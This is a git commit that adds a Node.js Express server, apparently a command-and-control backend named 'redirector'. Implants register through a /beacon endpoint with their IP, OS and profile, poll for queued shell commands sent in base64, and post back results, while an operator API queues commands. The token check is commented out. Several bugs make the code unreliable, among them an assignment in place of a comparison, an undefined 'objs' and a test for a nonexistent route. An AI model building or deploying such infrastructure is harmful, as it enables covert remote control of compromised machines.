commit
fffb6fe6e9
@ -0,0 +1,4 @@ |
||||
/node_modules |
||||
/coverage |
||||
|
||||
.editorconfig |
@ -0,0 +1,136 @@ |
||||
const express = require('express') |
||||
const bodyParser = require('body-parser') |
||||
|
||||
const tasks = require('./store/tasks') |
||||
const agents = require('./store/agents') |
||||
|
||||
const app = express(); |
||||
const taskStore = tasks() |
||||
const agentStore = agents() |
||||
|
||||
const allowCrossDomain = function (req, res, next) { |
||||
res.header('Access-Control-Allow-Origin', '*'); |
||||
res.header('Access-Control-Allow-Headers', '*'); |
||||
res.header('Access-Control-Allow-Methods', 'GET, PUT, POST, DELETE') |
||||
next() |
||||
} |
||||
|
||||
const protect = (req, res, next) => { |
||||
console.log(req.header['x-access-token']) |
||||
if (req.header['x-access-token'] !== 'ZzVnNWc1ZzU=' && !req.url.includes('beacon')) { |
||||
res.status(404).json({ |
||||
message: 'invalid x-access-token' |
||||
}) |
||||
} |
||||
next(); |
||||
} |
||||
|
||||
app.use(bodyParser.json()) |
||||
app.use(bodyParser.text()) |
||||
app.use(allowCrossDomain) |
||||
//app.use(protect)
|
||||
|
||||
// Interaction with agents
|
||||
app.get('/api/agents', (req, res) => { |
||||
res.status(200).json(agentStore.getAllAgents()) |
||||
}) |
||||
|
||||
app.get('/api/agents/:agentId', (req, res) => { |
||||
const agentId = parseInt(req.params.agentId) |
||||
const agent = agentStore.getAgentById(agentId) |
||||
if (agent) { |
||||
res.status(200).json(agent) |
||||
} else { |
||||
res.status(404).json({ |
||||
message: 'agent does not exist' |
||||
}) |
||||
} |
||||
}) |
||||
|
||||
app.put('/api/agents/:agentId/status', (req, res) => { |
||||
const agentId = parseInt(req.params.agentId) |
||||
agentStore.updateAgentBeaconTime(agentId) |
||||
res.status(200).json(status) |
||||
}) |
||||
|
||||
app.get('/api/agents/:agentId/tasks', (req, res) => { |
||||
const agentId = parseInt(req.params.agentId) |
||||
const tasks = taskStore.getAllTasksForAgent(agentId) |
||||
if (tasks) { |
||||
res.status(200).json(tasks) |
||||
} else { |
||||
res.status(404).json({ |
||||
message: 'agent does not exist' |
||||
}) |
||||
} |
||||
}) |
||||
|
||||
// Interact with tasks
|
||||
app.post('/api/tasks', (req, res) => { |
||||
const { command, agentId } = req.body |
||||
const taskId = taskStore.addTask(command, agentId) |
||||
res.status(200).json({ |
||||
taskId: taskId, |
||||
agentId: agentId |
||||
}) |
||||
}) |
||||
|
||||
app.get('/api/tasks', (req, res) => { |
||||
res.status(200).json(taskStore.getAllTasks()) |
||||
}) |
||||
|
||||
app.get('/api/tasks/:taskId', (req, res) => { |
||||
const taskId = parseInt(req.params.taskId) |
||||
const task = taskStore.getTaskById(taskId) |
||||
if (task) { |
||||
res.status(200).json(task) |
||||
} else { |
||||
res.status(404).json({ |
||||
message: 'task does not exist' |
||||
}) |
||||
} |
||||
}) |
||||
|
||||
// Beacon
|
||||
app.post('/beacon', (req, res) => { |
||||
const [ip, os, profile] = req.body.split(/\|{2}/) |
||||
const agentId = agentStore.addAgent(os, ip, profile) |
||||
res.status(200).send(`${agentId}`) |
||||
}) |
||||
|
||||
app.get('/beacon/:agentId', (req, res) => { |
||||
const agentId = parseInt(req.params.agentId) |
||||
const agent = agentStore.getAgentById(agentId) |
||||
if (agent === null) { |
||||
res.status(200).send('agent does not exist') |
||||
} else { |
||||
agentStore.updateAgentBeaconTime(agentId) |
||||
const task = taskStore.getNextTaskForAgent(agentId) |
||||
if (task) { |
||||
res.status(200).send(`${task.id}||${Buffer.from(task.command).toString('base64')}`) |
||||
} else { |
||||
res.status(200).send('sleep') |
||||
} |
||||
} |
||||
}) |
||||
|
||||
app.post('/beacon/:agentId', (req, res) => { |
||||
const agentId = parseInt(req.params.agentId) |
||||
const agent = agentStore.getAgentById(agentId) |
||||
if (agent === null) { |
||||
res.status(200).send('agent does not exist') |
||||
} else { |
||||
agentStore.updateAgentBeaconTime(agentId) |
||||
const [taskId, response] = req.body.split(/\|{2}/) |
||||
taskStore.updateTaskById(parseInt(taskId), response) |
||||
const task = taskStore.getTaskById(parseInt(taskId)) |
||||
if (task) { |
||||
res.status(200).send('ok') |
||||
} else { |
||||
res.status(200).send('task does not exist') |
||||
} |
||||
} |
||||
}) |
||||
|
||||
|
||||
module.exports = app |
@ -0,0 +1,49 @@ |
||||
const Agents = () => { |
||||
const obj = {} |
||||
obj.agents = [] |
||||
|
||||
obj.addAgent = (os, ip, profile) => { |
||||
const agent = {} |
||||
agent.id = obj.agents.length + 1 |
||||
agent.os = os |
||||
agent.ip = ip |
||||
agent.profile = profile |
||||
agent.last_beacon_date = new Date(Date.now()).toLocaleString() |
||||
agent.status = true |
||||
obj.agents.push(agent) |
||||
return agent.id |
||||
} |
||||
|
||||
obj.getAgentById = (agentId) => { |
||||
const agent = obj.agents.find(a => a.id === agentId) |
||||
return agent |
||||
? agent |
||||
: null |
||||
} |
||||
|
||||
obj.updateAgentBeaconTime = (agentId) => { |
||||
obj.agents.forEach(a => { |
||||
if (a.id === agentId) { |
||||
a.last_beacon_date = new Date(Date.now()).toLocaleString() |
||||
return true |
||||
} |
||||
}) |
||||
return false |
||||
} |
||||
|
||||
obj.updateAgentStatus = (agentId) => { |
||||
obj.agents.forEach(a => { |
||||
if (a.id === agentId) { |
||||
a.status = !a.status |
||||
return true |
||||
} |
||||
}) |
||||
return false |
||||
} |
||||
|
||||
obj.getAllAgents = () => obj.agents |
||||
|
||||
return obj |
||||
} |
||||
|
||||
module.exports = Agents |
@ -0,0 +1,52 @@ |
||||
const Tasks = () => { |
||||
const obj = {} |
||||
obj.tasks = [] |
||||
|
||||
obj.addTask = (command, agentId) => { |
||||
const task = {} |
||||
task.agentId = agentId |
||||
task.command = command |
||||
task.id = obj.tasks.length + 1 |
||||
task.tasked_date = new Date(Date.now()).toLocaleString() |
||||
task.complete_date = '' |
||||
task.response = '' |
||||
obj.tasks.push(task) |
||||
return task.id |
||||
} |
||||
|
||||
obj.getTaskById = (taskId) => { |
||||
const task = obj.tasks.find(t => t.id = taskId) |
||||
return task |
||||
? task |
||||
: null |
||||
} |
||||
|
||||
obj.getNextTaskForAgent = (agentId) => { |
||||
const task = obj.tasks.find(t => t.agentId === agentId && t.response === '') |
||||
return task |
||||
? task |
||||
: null |
||||
} |
||||
|
||||
obj.updateTaskById = (taskId, response) => { |
||||
obj.tasks.forEach(t => { |
||||
if (t.id === taskId) { |
||||
t.response = response |
||||
t.complete_date = new Date(Date.now()).toLocaleString() |
||||
} |
||||
}) |
||||
} |
||||
|
||||
obj.getAllTasksForAgent = (agentId) => { |
||||
const tasks = objs.tasks.filter(t => t.agentId === agentId) |
||||
return tasks.length !== 0
|
||||
? tasks |
||||
: null |
||||
} |
||||
|
||||
obj.getAllTasks = () => obj.tasks |
||||
|
||||
return obj |
||||
} |
||||
|
||||
module.exports = Tasks |
@ -0,0 +1,3 @@ |
||||
const app = require('./app/app') |
||||
|
||||
app.listen(process.env.PORT || 5000, '0.0.0.0') |
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,28 @@ |
||||
{ |
||||
"name": "redirector", |
||||
"version": "1.0.0", |
||||
"description": "", |
||||
"main": "index.js", |
||||
"scripts": { |
||||
"start": "node index.js", |
||||
"start-dev": "nodemon index.js", |
||||
"test": "jest", |
||||
"test-coverage": "jest --coverage" |
||||
}, |
||||
"author": "", |
||||
"license": "ISC", |
||||
"dependencies": { |
||||
"express": "^4.17.1" |
||||
}, |
||||
"devDependencies": { |
||||
"jest": "^26.4.0", |
||||
"nodemon": "^2.0.4", |
||||
"supertest": "^4.0.2" |
||||
}, |
||||
"jest": { |
||||
"testEnvironment": "node", |
||||
"coveragePathIgnorePatterns": [ |
||||
"/node_modules/" |
||||
] |
||||
} |
||||
} |
@ -0,0 +1,13 @@ |
||||
const request = require('supertest') |
||||
const app = require('../app/app') |
||||
|
||||
describe('Endpoints: /home', () => { |
||||
it('should return hello, world on GET: /home', async () => { |
||||
return request(app) |
||||
.get('/home') |
||||
.then(response => { |
||||
expect(response.statusCode).toBe(200) |
||||
expect(response.body.data).toBe('hello, world') |
||||
}) |
||||
}) |
||||
}) |
Loading…
Reference in new issue